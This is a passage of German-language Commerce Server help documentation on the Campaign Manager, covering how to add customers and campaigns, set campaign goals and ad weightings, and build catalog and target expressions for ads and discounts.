Im Zuge einer Marketingkampagne werden zum Erzielen eines bestimmten Ergebnisses (z. B. Erhöhung von Marktanteilen, Einführung neuer Produkte oder Verbesserung der Kundenbindung) diverse Kommunikationsmittel (z. B. Anzeigen und Direktsendungsnachrichten) eingesetzt. Jede Marketingkampagne stellt eine(n) oder mehrere Verträge bzw. Bestellungen eines Kunden dar. Jeder Kunde kann mehrere Kampagnen zur Einführung einer neuen Marke und eine Treuekampagne haben. Jede Kampagne kann über mehrere Kampagnenartikel wie Anzeigen, Preisnachlässe oder Direktsendungen verfügen. Mithilfe des Moduls "Kampagnen-Manager" können Sie Kunden, Kampagnen und Kampagnenartikel erstellen und verwalten.

Wenn Sie eine Marketingkampagne erstellen möchten, müssen Sie zunächst den Kunden zum Modul "Kampagnen-Manager" hinzufügen. Anschließend erstellen Sie im Kampagnen-Manager eine Kampagne für den Kunden, beispielsweise eine Kampagne zur Einführung einer neuen Marke. Mit dem Kampagnenziel legen Sie fest, wie viele Anzeigen in einer bestimmten Zeit übermittelt werden sollen. Wenn Sie eine Kampagne erstellt haben, können Sie einen oder mehrere Kampagnenartikel erstellen und anschließend die Anzeigendarstellung festlegen. Nach der Festlegung der Anzeigendarstellung können Sie die Anzeige in der Vorschau anzeigen, bevor Sie sie in Produktion geben.

Die folgende Abbildung zeigt ein Beispielszenario für das Erstellen einer Marketingkampagne und das Veröffentlichen der Kampagne in Ihrer Website.

Erstellen eines Marketingkampagnenszenarios Veröffentlichen von Kampagnenänderungen in der WebsiteHinzufügen eines KampagnenartikelsFestlegen des KampagnenzielsHinzufügen einer KampagneHinzufügen eines Kunden
  1. Erstellen Sie im Modul "Kampagnen-Manager" einen neuen Kunden, z. B. Contoso AG.
  2. Erstellen Sie im Modul "Kampagnen-Manager" eine neue Kampagne, z. B. Sommerschlussverkauf.
  3. Legen Sie für die Kampagne einen Zeitplan fest (z. B. über die Zielfestlegung auf Kampagnenebene).
  4. Erstellen Sie eine Anzeige (z. B. Sandalen).
  5. Aktualisieren Sie im Kampagnenveröffentlichungsmodul Ihre Site mit der neuen Anzeige.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen eines Kunden
  • Hinzufügen einer Kampagne
  • Hinzufügen eines Kampagnenartikels


Hinzufügen eines Kunden

Sie müssen zunächst Informationen über den Kunden hinzufügen, dem eine Kampagne zugeordnet ist, um eine Kampagne zu erstellen. Jedem Kunden können mehrere Kampagnen zugeordnet werden, die für verschiedene Marketingprogramme stehen. So kann ein Kunde beispielsweise einen Sommerschlussverkauf, eine Kampagne für ein neues Produkt und eine Preisnachlasskampagne für Frühjahrsmoden durchführen. Jede Kampagne kann über mehrere Kampagnenartikel wie Anzeigen, Preisnachlässe und Direktsendungen verfügen.

Mithilfe des Moduls "Kampagnen-Manager" können Sie Kunden hinzufügen, Eigenschaften von Kunden ändern und Kunden löschen.

So fügen Sie einen neuen Kunden hinzu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Hinzufügen, und wählen Sie anschließend in der Dropdownliste die Option Neue(r) Kunde/Kundin aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Neu (Kunde/Kundin) im Bereich Kundeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie den Kundennamen ein.
    Adresse | Geben Sie die Kundenadresse ein, einschließlich Straße, Ort, Bundesland/Kanton, Postleitzahl und Land/Region.
    Typ Wählen Sie in der Dropdownliste die Art der Beziehung zum Kunden aus. Folgende Beziehungen stehen zur Auswahl:
    • Selbst
    • Werbungstreibender
    • Agentur
    URL | Geben Sie den dem Kunden zugeordneten URL ein.
    Branche Wählen Sie die auf den Kunden zutreffende Branche aus.

    Branchencodes werden mithilfe des Referenztabellenmoduls erstellt. Weitere Informationen finden Sie unter Einrichten der Referenztabellen.

    Gelöscht Schreibgeschütztes Feld.

    In diesem Feld wird angezeigt, ob ein Kunde gelöscht wurde. Weitere Informationen zum Löschen und Wiederherstellen von Kunden finden Sie unter Löschen und Wiederherstellen eines Kunden.
    Kommentare | Geben Sie ggf. erforderliche Kommentare zu dem Kunden ein.
  4. Führen Sie im Bereich Kontaktinformationen folgende Schritte aus:
    Funktion | Aktion
    Kontakt | Geben Sie die Kontaktinformationen zu dem Kunden ein.
    E-Mail | Geben Sie die E-Mail-Adresse für diesen Kontakt ein.
    Rufnummer | Geben Sie die Rufnummer für diesen Kontakt ein.
    Fax | Geben Sie die Faxnummer für diesen Kontakt ein.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Kundeninformationen zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Kundeninformationen werden gespeichert. Sie können für den Kunden nun eine neue Kampagne hinzufügen.

Siehe auch

Workflow für die Kampagnenverwaltung

Informationen zu Kampagnen

Hinzufügen einer Kampagne


Hinzufügen einer Kampagne

Wenn Sie Kundeninformationen hinzugefügt haben, können Sie für den Kunden eine Kampagne hinzufügen. Jedem Kunden können mehrere Kampagnen zugeordnet werden. So kann ein Kunde z. B. eine Kampagne zur Einführung einer neuen Marke und eine Treuekampagne haben. Mithilfe des Moduls "Kampagnen-Manager" können Sie die Kampagne und die dazugehörigen Eigenschaften für einen bestimmten Kunden hinzufügen. Beim Definieren des Kampagnenziels legen Sie fest, wie viele Anzeigen in einer bestimmten Zeit übermittelt werden sollen. Darüber hinaus können Sie mithilfe des Kampagnen-Managers eine Kampagne kopieren, Kampagneneigenschaften bearbeiten, nach Kampagnen suchen sowie Kampagnen löschen und wiederherstellen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen von Kampagneneigenschaften
  • Kampagnenzielfestlegung


Hinzufügen von Kampagneneigenschaften

Mithilfe des Moduls "Kampagnen-Manager" können Sie Kampagneneigenschaften, z. B. den Kampagnennamen, hinzufügen und das Anfangs- und Beendigungsdatum der Kampagne festlegen. Ferner können Sie den Status der Kampagne als aktiv oder inaktiv festlegen.

So fügen Sie Kampagneneigenschaften hinzu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager den Kunden aus, für den Sie eine neue Kampagne erstellen möchten, und klicken Sie auf der Symbolleiste auf Hinzufügen. Wählen Sie dann in der Dropdownliste den Eintrag Neue Kampagne aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Neu (Kampagne) im Bereich Kampagneneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Kampagnenname | Geben Sie den Namen der neuen Kampagne ein.
    Anfangsdatum | Wählen Sie das Anfangsdatum der Kampagne im Dropdownkalender aus.
    Beendigungsdatum Wählen Sie das Beendigungsdatum der Kampagne im Dropdownkalender aus.

    Kampagnendaten werden als Standardwerte für Datumsangaben bei Kampagnenartikeln verwendet. Datumsangaben für Kampagnenartikel setzen jedoch Kampagnendaten außer Kraft. Das Datum eines Kampagnenartikels kann so festgelegt werden, dass es über das Kampagnendatum hinausgeht.
    Status | Wählen Sie den Kampagnenstatus in der Dropdownliste aus. Der Status kann entweder Aktiv oder Inaktiv sein.
    Gelöscht Schreibgeschütztes Feld.

    In diesem Feld wird angezeigt, ob eine Kampagne gelöscht wurde. Weitere Informationen zum Löschen und Wiederherstellen von Kampagnen finden Sie unter Löschen und Wiederherstellen einer Kampagne.
    Kommentare | Geben Sie ggf. erforderliche Kommentare zu der Kampagne ein.

Die Kampagneneigenschaften werden nun erstellt.

Im Rahmen der Kampagnenzielfestlegung entscheiden Sie, wie viele Anzeigen in einer bestimmten Zeit übermittelt werden sollen. Diese Festlegung kann auf Kampagnenebene oder auf Werbeartikelebene erfolgen. Informationen über das Festlegen des Kampagnenziels finden Sie unter Kampagnenzielfestlegung.

Siehe auch

Workflow für die Kampagnenverwaltung

Informationen zu Kampagnen

Hinzufügen eines Kunden


Kampagnenzielfestlegung

Beim Definieren des Kampagnenziels legen Sie fest, wie viele Anzeigen in einer bestimmten Zeit übermittelt werden sollen. Die Kampagnenziele lassen sich auf Kampagnen- oder Werbeartikelebene festlegen. Wenn Sie bei der Erstellung einer neuen Kampagne die Zielfestlegung auf Kampagnenebene vornehmen, bestellen Sie die Gesamtsumme der Anforderungen für die gesamte Kampagne. Beispiel: Sie nehmen die Zielfestlegung auf Kampagnenebene vor, und Ihr Kunde bestellt 25.000 Anzeigenanforderungen. Auf Kampagnenartikelebene wird nun festgelegt, dass eine Anzeige bei 60 % der Anzeigeanforderungen angezeigt wird und die andere Anzeige bei 40 %. Falls der Kunde nun die Anzahl der Anzeigenanforderungen ändert (z. B. auf 40.000), brauchen Sie die Anforderungszahlen für die beiden Anzeigen nicht manuell zu ändern; eine Anzeige wird weiterhin in 60 %, die andere in 40 % der Fälle angezeigt. Wenn die Planung auf Werbeartikelebene durchgeführt wird, stellen Sie das Anforderungsziel für jede einzelne Anzeige ein. Weitere Informationen zur Kampagnenzielfestlegung finden Sie unter Kampagnenzielfestlegung.

In einer Kampagne gilt die Gewichtung für Anzeigen, deren Zielfestlegung auf Kampagnenebene liegt. Bei Eigenwerbung steht die Gewichtung im Verhältnis zu der übrigen Eigenwerbung für alle Kunden und Kampagnen. Bei bezahlten Anzeigen ist die Gewichtung relativ zu anderen bezahlten Anzeigen derselben Kampagne.

Sie können das Kampagnenziel entweder nach Klicks oder nach Anforderungen festlegen. Wenn Sie das Kampagnenziel nach Klicks festlegen, ist das Ziel der Kampagne erreicht, wenn ein Benutzer auf die Anzeige klickt. Wenn Sie das Kampagnenziel nach Anforderungen festlegen, ist das Ziel der Kampagne erreicht, wenn die Anzeige auf der angegebenen Seitengruppe angezeigt wird.

So legen Sie das Kampagnenziel fest

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Kampagnen-Manager den Kunden ein, für den Sie eine Kampagne planen möchten, wählen Sie die gewünschte Kampagne aus, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kundenname – Kampagnenname (Kampagne) im Bereich Werbungs-/Kampagnenzielfestlegung folgende Schritte aus:
    Funktion Aktion
    Zielsetzung von Wählen Sie die Zielfestlegungsebene in der Dropdownliste aus. Sie können die Kampagnenziele auf Kampagnen- oder Werbeartikelebene festlegen.

    Wenn Sie Kampagne auswählen, können Sie unterhalb des Feldes Zielsetzung von die Bestellmenge ändern. Wenn Sie im Kampagnen-Manager Anzeigenkampagnenartikel zur Kampagne hinzugefügt haben, können Sie unten im Bereich Werbungs-/Kampagnenzielfestlegung die dynamische Tabelle bearbeiten. Markieren Sie hierfür den Werbeartikel in der Tabelle, und klicken Sie dann auf Bearbeiten, um die Gewichtung jeder Anzeige zu ändern. Die Mengen der einzelnen Anzeigen werden aufgrund der eingegebenen Gewichtungen neu verteilt.

    Wenn Sie Werbeartikel auswählen, wird das Bestellmengenfeld ausgeblendet. Mengen für Kampagnen, deren Ziele auf Werbeartikelebene festgelegt worden sind, werden beim Anzeigenkampagnenartikel eingegeben. Wenn Sie im Kampagnen-Manager Anzeigenkampagnenartikel zur Kampagne hinzugefügt haben, können Sie unten im Bereich Werbungs-/Kampagnenzielfestlegung die dynamische Tabelle bearbeiten. Markieren Sie hierfür den Werbeartikel in der Tabelle, und klicken Sie dann auf Bearbeiten, um die Mengen der einzelnen Anzeigen zu ändern.

    Dieses Feld wird für Preisnachlässe und Kampagnenartikel von Direktsendungen nicht benötigt.

    Hinweis

    • Sie können die Art der Zielfestlegung von Kampagnenebene auf Werbeartikelebene und umgekehrt ändern. Informationen zum Ändern der Art der Zielfestlegung finden Sie unter Wechseln zwischen Kampagnenzielfestlegung und Werbeartikelfestlegung.
    Bestellmenge Geben Sie die Anzahl der für diese Kampagne bestellten Anforderungen ein.

    Dieses Feld steht nur zur Verfügung, wenn Sie im Feld Zielsetzung von die Option Kampagne ausgewählt haben.
    Geplant von Wählen Sie Anfordern oder Klicken in der Dropdownliste aus.

    Anforderung gibt an, dass die Zielsetzung der Kampagne erreicht ist, wenn die Anzeige auf den angegebenen Seitengruppen angezeigt wird.

    Klicken gibt an, dass die Zielsetzung der Kampagne erreicht ist, wenn der Benutzer auf die Anzeige klickt.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Kampagne zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Kampagne wird gespeichert. Sie können nun einen Anzeigenkampagnenartikel für die Kampagne erstellen.

Wechseln zwischen Kampagnenzielfestlegung und Werbeartikelzielfestlegung

Für Kampagnen wird mithilfe der Kampagnenzielfestlegung ein Zeitplan festgelegt. Zeitpläne lassen sich auf Kampagnen- oder Werbeartikelebene festlegen. Bei einer Kampagne findet die Gewichtung bei Anzeigen Anwendung, für die die Zielfestlegung auf Kampagnenebene erfolgt. Bei Eigenwerbung steht die Gewichtung im Verhältnis zu der übrigen Eigenwerbung für alle Kunden und Kampagnen. Bei bezahlten Anzeigen ist die Gewichtung relativ zu anderen bezahlten Anzeigen der gleichen Kampagne. Nach der Festlegung eines Zeitplans für eine Kampagne können Sie zwischen Kampagnenzielfestlegung und Werbeartikelzielfestlegung hin- und herwechseln, um den Berechnungsmodus der Gewichtungen für die Anzeigen zu ändern.

Im Folgenden werden drei Szenarien für die Zielfestlegung bei bezahlten Anzeigen beschrieben. Im ersten Szenario bestellt der Kunde zwei Anzeigen, für die die Zielfestlegung auf Kampagnenebene erfolgt. Im zweiten Szenario möchte der Kunde Anforderungen für die erste Anzeige hinzufügen und wechselt zur Zielfestlegung auf Werbeartikelebene. Im dritten Szenario möchte der Kunde, dass die erste Anzeige dreimal so häufig angezeigt wird wie die zweite, und wechselt deshalb zurück zur Zielfestlegung auf Kampagnenebene.

Szenario 1: Ein Kunde bestellt zwei bezahlte Anzeigen für den Sommerschlussverkauf. Beide Anzeigen sollen gleich oft angezeigt werden. Zusammen sollen sie 1000-mal angezeigt werden. Für jede Anzeige werden 500 Anforderungen bestellt. Das Kampagnenziel wird auf Kampagnenebene festgelegt.

Szenario 2: Der Kunde möchte nun weitere 500 Anforderungen für die erste Anzeige bestellen. Die Zielfestlegung für diese Kampagne erfolgt nun auf Werbeartikelebene, und die 500 zusätzlichen Anforderungen werden zu der Bestellmenge für die erste Anzeige hinzugefügt, sodass sich die Summe der bestellten Anforderungen für diese Anzeige auf 1000 beläuft. Für die zweite Anzeige gilt weiterhin die Summe von 500 Anforderungen.

Szenario 3: Schließlich möchte der Kunde seine Bestellung so umschichten, dass die erste Anzeige in einem Verhältnis von 3:1 zur zweiten Anzeige geschaltet wird. Die Zielfestlegung für diese Kampagne wird wieder auf Kampagnenebene umgestellt. Die Gesamtsumme der bestellten Anforderungen beläuft sich auf 1500. Für die erste Anzeige wird eine Gewichtung von 3 festgelegt und für die zweite eine Gewichtung von 1. Es ergeben sich für diese Kampagne bezahlte Gewichtungen von 1125 Anforderungen für die erste Anzeige und 375 Anforderungen für die zweite.

Vorsicht

  • Wenn der Kunde im zweiten Szenario entscheidet, die Bestellung so zu ändern, dass eine dritte Anzeige mit einer Gewichtung von 1 hinzugefügt wird, müssen die Gewichtungen für die anderen Anzeigen ebenfalls erneut festgelegt werden. Da die Anzeige von Zielfestlegung auf Anzeigenebene nach Zielfestlegung auf Kampagnenebene umgestellt worden ist, müssen die Gewichtungen für alle Anzeigen neu festgelegt werden. Andernfalls stimmt die Anzeigenlieferung nicht mehr.

Siehe auch

Workflow für die Kampagnenverwaltung

Informationen zu Kampagnen

Kampagnenzielfestlegung

Hinzufügen einer Kampagne


Hinzufügen eines Kampagnenartikels

Zunächst müssen Sie einen Kampagnenartikel erstellen, um für die Bereitstellung von Inhalten einen Zeitplan festzulegen. In Commerce Server sind drei Arten von Kampagnenartikeln verfügbar: Anzeigen, Preisnachlässe und Direktsendungen. Neben diesen drei Kampagnenartikeln kann Ihr Siteentwickler Ihrer Site Funktionen für verwandte Verkaufstypen wie intelligentes Up-Selling und Cross-Selling hinzufügen.

    Informationen über das Erstellen von Kampagnenartikeln finden Sie in den folgenden Abschnitten:

    • Erstellen einer Anzeige
    • Erstellen eines Preisnachlasses
    • Erstellen einer Direktsendung


Erstellen von Kampagnenausdrücken

Mithilfe von Kampagnenausdrücken definieren Sie die Produkte bzw. Produktkategorien, auf die Sie einen Preisnachlass anwenden möchten, und legen ferner die Zielgruppen für Anzeigen und Preisnachlässe fest. Beispielsweise können Sie Benutzern, die sich in ihrer Freizeit vorzugsweise dem Bergsteigen widmen, für ein Paar Bergsteigerstiefel einen Preisnachlass von 30 Prozent einräumen. Verwenden Sie das Modul "Kampagnenausdrücke", um die Kategorien, Produkte und Produkteigenschaften festzulegen, die Sie an die Benutzer übermitteln möchten, die den Zielkriterien der Kampagne entsprechen. Sie können folgende Typen von Ausdrücken erstellen:

  • Katalogausdrücke. Dienen der Festlegung der Kategorien, Produkte und Produkteigenschaften, auf die Anzeigen oder Preisnachlässe angewendet werden. Beispiel: "Wenn Buch_Preis größer als 20,00 Euro, Preisnachlass anwenden." Nach Erstellung des Katalogausdrucks können Sie Ihre Anzeigen und Preisnachlässe zielgerichtet für die Produkte schalten, die den Kampagnenausdruckskriterien entsprechen.
  • Zielausdrücke. Legen Sie die Ziele für Kampagnenartikel auf Grundlage von Profileigenschaften fest. Commerce Server unterstützt Benutzer- und Kontextprofile. Verwenden Sie Benutzerprofile, um die Zielfestlegung für Benutzer auf Ihrer Site vorzunehmen. Beispiel: "Wenn Benutzer weiblich, Anzeige für blaue Farbe übermitteln." Anhand von Kontextprofilen können Sie zielgerichtet Informationen anzeigen, die dem Kontext einer Inhaltsanforderung entsprechen. So können Inhalte z. B. zielgerichtet auf bestimmten Seitengruppen angezeigt werden.
  • Zielgruppen. Dienen der Kombination mehrerer Zielausdrücke und ermöglichen die Zielgruppenadressierung von Anzeigen- und Preisnachlasskampagnen an Benutzergruppen, die den Zielausdruckskriterien entsprechen. Zielausdrücke können außerdem zur Zielgruppenadressierung von Seitengruppen in Ihrer Website verwendet werden. Nachdem Sie mehrere Zielausdrücke festgelegt haben, können Sie diese in Zielgruppen kombinieren. Beispiel: Die Ausdrücke "Wenn Benutzer weiblich" und "Wenn Benutzer Farbe gekauft hat" lassen sich in der Zielgruppe "Weibliche Benutzer, die Farbe kaufen" kombinieren. Anschließend können Sie der Zielgruppe "Weibliche Benutzer, die Farbe kaufen" eine Anzeige oder einen Preisnachlass für Tapeten übermitteln.
Ausdrücke werden durch Angabe der Aktion kombiniert, die ausgeführt werden soll, wenn der Ausdruck als "Wahr" ausgewertet wird. Jede Aktion verfügt über zwei Multiplikatoren: Einer wird angewendet, wenn der Ausdruck wahr ist; der andere, wenn der Ausdruck falsch ist. Wenn der Multiplikator angewendet wird, erhält der Ausdruck ein Ergebnis. Dieses bestimmt, ob die Inhalte geliefert werden können. Informationen über Zielgruppen finden Sie unter Zielgruppen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen eines Katalogausdrucks
  • Erstellen eines Zielausdrucks
  • Erstellen einer Zielgruppe


Erstellen eines Katalogausdrucks

Sie erstellen Katalogausdrücke, um die Kategorien und Produkte festzulegen, auf die ein Preisnachlass gewährt werden soll. Bei der Erstellung von Ausdrücken wählen Sie aus einer Liste mit Produkten, Produkteigenschaften oder -kategorien in einem Katalog, legen Operatoren fest und geben ggf. einen Wert ein, der durch den Ausdruck ausgewertet werden soll. Beispiele für Katalogausdrücke sind "Bücher mit einem Preis über 20,00" und "Kategorie ist gleich Belletristik". Falls der Ausdruck als "Wahr" ausgewertet wird, wird auf das Produkt oder die Kategorie ein Preisnachlass gewährt.

Im Bildschirm Katalogausdrücke erstellen Sie Katalogausdrücke durch Auswahl einer der folgenden Optionen:

  • Neu von der Produktauswahl. Wählen Sie diese Option, wenn Sie eine Suche nach dem Katalog, dem Produkt, der Produkteigenschaft oder der Kategorie, die in den Kriterien des Ausdrucks verwendet werden, durchführen möchten.
  • Neuer Katalogausdruck. Wählen Sie diese Option, um den Ausdrucks-Generator zu öffnen.

Neu von der Produktauswahl

Mit der Produktauswahl lässt sich das gewünschte Produkt bzw. die gewünschte Kategorie zur Zielgruppenadressierung einer Preisnachlasskampagne suchen und auswählen.

So öffnen Sie die Produktauswahl

So durchsuchen Sie einen Katalog

So führen Sie eine Schlüsselwortsuche durch

So führen Sie eine Suche nach Produkteigenschaften durch

So öffnen Sie die Produktauswahl

  1. Klicken Sie im Menü Kampagnen auf Kampagnenausdrücke.
  2. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Katalogausdrücke.
  3. Klicken Sie im Bildschirm Kampagnenausdrücke: Katalogausdrücke auf der Symbolleiste auf Hinzufügen. Wählen Sie dann in der Dropdownliste die Option Neu von der Produktauswahl.

So durchsuchen Sie einen Katalog

  1. Führen Sie im Dialogfeld Produktauswahl folgende Schritte aus:
    Funktion | Aktion
    Suchmethode | Wählen Sie die Option Katalog durchsuchen.
    Katalog | Wählen Sie den zu durchsuchenden Katalog in der Dropdownliste aus.
    Kategorien | Wählen Sie die Kategorie aus, die Sie durchsuchen möchten.
  2. Klicken Sie auf OK.
Die ausgewählte Kategorie wird im Feld Katalogausdruck angezeigt.

So führen Sie eine Schlüsselwortsuche durch

  1. Führen Sie im Dialogfeld Produktauswahl folgende Schritte aus:
    Funktion | Aktion
    Suchmethode | Wählen Sie die Option Schlüsselwortsuche aus.
    Katalog | Wählen Sie den zu durchsuchenden Katalog in der Dropdownliste aus.
    Schlüsselwörter | Geben Sie die gewünschten Suchbegriffe ein, und klicken Sie dann auf Suchen.
    Produkte | Wählen Sie das gewünschte Produkt für die Zielfestlegung aus.
  2. Klicken Sie auf OK.
Das ausgewählte Produkt wird im Feld Katalogausdruck angezeigt.

So führen Sie eine Suche nach Produkteigenschaften durch

  1. Führen Sie im Dialogfeld Produktauswahl folgende Schritte aus:
    Funktion | Aktion
    Suchmethode | Wählen Sie die Option Suche nach Eigenschaften aus.
    Katalog | Wählen Sie den zu durchsuchenden Katalog in der Dropdownliste aus.
    Ziel basiert auf den folgenden Bedingungen Klicken Sie auf Neu.

    Das erste der drei Eingabefelder im Gruppenfeld Ziel basiert auf den folgenden Bedingungen ist aktiviert, d. h., Sie können Teilausdrücke auswählen bzw. eingeben.
    Ziel basiert auf den folgenden Bedingungen
    • Erstes Feld: Wählen Sie die Eigenschaftsgruppe in der Dropdownliste aus, und wählen Sie dann die gewünschte Eigenschaft zum Erstellen des neuen Katalogausdrucks aus.
    • Zweites Feld: Wählen Sie in der Dropdownliste den gewünschten Operator für den Katalogausdruck aus.
    • Drittes Feld: Geben Sie die Eigenschaft oder den Wert ein, der durch den Katalogausdruck ausgewertet werden soll.

    Hinweis

    • In Kampagnenausdrücken werden Werte durch Semikolons (;) voneinander getrennt. Verwenden Sie kein Komma, da dieses nicht als Trennzeichen erkannt wird. Als Escapezeichen zur Darstellung von Semikolons wird ein umgekehrter Schrägstrich (\) verwendet. Beispielsweise können Sie einen Wert wie ABC;12 als ABC\;12 eingeben.

    In einem Katalog für Bücher kann beispielsweise über den Ausdruck Autor (Produkteigenschaft) ist gleich (Operator) Penn (Zeichenfolge) festgelegt werden, dass ein Preisnachlass nur für Bücher gewährt wird, deren Autor Penn heißt.

  2. Klicken Sie auf Übernehmen.

    Die Produkte, die den Zielkriterien entsprechen, werden im Feld Produkte angezeigt.

    Hinweis

    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn es mehrere Produkte gibt, deren erste 30 Buchstaben im Namen identisch sind, werden diese Produkte als Doppeleinträge angezeigt.
  3. Klicken Sie auf OK.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Ausdruck zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der Ausdruck wird dem Bildschirm Kampagnenausdrücke: Katalogausdrücke im Modul "Kampagnenausdrücke" hinzugefügt. Die Ausdrücke können nun verwendet werden, um eine Benutzergruppe als Zielgruppe für eine Preisnachlasskampagne festzulegen.

Neuer Katalogausdruck

Im Bildschirm Katalogausdrücke verwenden Sie zum Erstellen von Katalogausdrücken den Ausdrucks-Generator.

So erstellen Sie einen Katalogausdruck

  1. Klicken Sie in Kampagnen auf Kampagnenausdrücke und dann auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Katalogausdrücke.
  2. Klicken Sie im Bildschirm Kampagnenausdrücke: Katalogausdrücke auf der Symbolleiste auf Hinzufügen, und wählen Sie dann die Option Neuer Katalogausdruck aus.
  3. Führen Sie im Dialogfeld Katalogausdruck folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für den neuen Katalogausdruck ein.
    Beschreibung Geben Sie eine Beschreibung für den neuen Katalogausdruck ein. Klicken Sie anschließend auf Neu.

    Das erste der drei Eingabefelder im Feld Ziel basiert auf den folgenden Bedingungen wird aktiviert. Wählen Sie die Ausdrucksklauseln aus bzw. geben Sie sie ein.
    Ziel basiert auf den folgenden Bedingungen
    • Erstes Feld: Wählen Sie die Option, die auf diesen Ausdruck zutrifft, in der Dropdownliste aus. Werte für dieses Feld sind Produkt und ggf. Ausdrücke.
      • Wenn Sie Produkt auswählen, wird eine Liste mit Produkteigenschaften angezeigt. Wählen Sie die Eigenschaft aus, anhand derer Sie den neuen Katalogausdruck erstellen möchten.
      • Wenn Sie Ausdrücke auswählen, wird eine Liste mit aktuellen Katalogausdrücken angezeigt. Wählen Sie den Katalogausdruck aus, anhand dessen Sie den neuen Katalogausdruck erstellen möchten, und klicken Sie dann auf OK.
    • Zweites Feld: Wählen Sie in der Dropdownliste den gewünschten Operator für den Katalogausdruck aus.
    • Drittes Feld: Geben Sie die Eigenschaft oder den Wert ein, der durch den Katalogausdruck ausgewertet werden soll.

    Hinweis

    • In Kampagnenausdrücken werden Werte durch Semikolons (;) voneinander getrennt. Verwenden Sie kein Komma, da dieses nicht als Trennzeichen erkannt wird. Als Escapezeichen zur Darstellung von Semikolons wird ein umgekehrter Schrägstrich (\) verwendet. Beispielsweise können Sie einen Wert wie ABC;12 als ABC\;12 eingeben.

    In einem Katalog für Bücher kann beispielsweise über den Ausdruck Autor (Produkteigenschaft) ist gleich (Operator) Penn (Zeichenfolge) festgelegt werden, dass ein Preisnachlass nur für Bücher gewährt wird, deren Autor Penn heißt.

  4. Klicken Sie auf Übernehmen.

    Der neue Katalogausdruck wird dem Feld Ziel basiert auf den folgenden Bedingungen hinzugefügt.

    Hinweis

    • Führen Sie die Schritte 2 bis 4 erneut aus, und wählen Sie dabei entweder Und oder Oder in der Dropdownliste aus, um dem erstellten Katalogausdruck weitere Bedingungen hinzuzufügen.
  5. Klicken Sie auf Speichern, um den Katalogausdruck zu speichern und zum Bildschirm Kampagnenausdrücke: Zielausdrücke zurückzukehren.

Der Ausdruck wird dem Bildschirm Kampagnenausdrücke: Katalogausdrücke hinzugefügt. Die Ausdrücke können nun verwendet werden, um eine Benutzergruppe als Zielgruppe für eine Preisnachlasskampagne festzulegen.

Siehe auch

Erstellen eines Preisnachlasses


Erstellen eines Zielausdrucks

Mithilfe von Zielausdrücken können Sie die Zielgruppen für Anzeigen und Preisnachlässe festlegen. Zielausdrücke können auch für Anforderungskontexte eingesetzt werden. Ausdrucksziele können beispielsweise für die vom Benutzer besuchte Website, die aktuelle Seitengruppe, die Tageszeit oder ein HTTP-Cookie adressiert sein. Ausdrücke sind Zusammenstellungen aus Eigenschaften, Operatoren und Werten, die zu einem Ergebnis ausgewertet werden können. Beim Erstellen von Ausdrücken wählen Sie Zielgruppen und Operatoren aus einer Liste vordefinierter Elemente aus und geben ggf. einen Wert ein, der bei der Auswertung des Ausdrucks berücksichtigt werden soll. Beispiele für Zielausdrücke sind "Kontentyp ist 10" oder "Weiblicher Benutzer ist wahr". Zielausdrücke werden mithilfe des Ausdrucks-Generators über den Bildschirm Zielausdrücke erstellt.

Sie können Zielausdrücke für Anzeigen und Preisnachlässe in bestimmten Sprachen und Währungen festlegen. Mithilfe des Ausdrucks-Generators können Sie die Sprache auswählen, in der Sie Anzeigen oder Preisnachlässe an eine Zielgruppe übermitteln möchten.

So erstellen Sie einen neuen Zielausdruck

So wählen Sie eine bestimmte Zielsprache

So erstellen Sie einen neuen Zielausdruck

  1. Klicken Sie im Menü Kampagnen auf Kampagnenausdrücke.
  2. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Zielausdrücke.
  3. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf der Symbolleiste auf Hinzufügen.
  4. Führen Sie im Dialogfeld Zielausdruck folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für den neuen Zielausdruck ein.
    Beschreibung Geben Sie eine Beschreibung für den neuen Zielausdruck ein. Klicken Sie anschließend auf Neu.

    Das erste der drei Eingabefelder im Gruppenfeld Ziel basiert auf den folgenden Bedingungen ist aktiviert, d. h., Sie können Teilausdrücke auswählen bzw. eingeben.
    Ziel basiert auf den folgenden Bedingungen
    • Erstes Feld: Wählen Sie die Option, die auf diesen Ausdruck zutrifft, in der Dropdownliste aus. Werte für dieses Feld sind Benutzerobjekt, Zielgruppenadressierungs-Kontext, Bewertungsspezifikationen und ggf. Ausdrücke.

      Hinweis

      • Sollte ein Objekt oder eine Funktion nicht aufgeführt sein, ist es/sie in dem Kontext, in dem der Ausdrucks-Generator aufgerufen wurde, nicht gültig. So wird beispielsweise in dem Fall, dass das Ziel auf der Grundlage eines Ausdrucks erstellt wurde, eine andere Menge von Operatoren angezeigt, als wenn das Ziel auf der Grundlage eines Benutzerobjekts erstellt wurde.

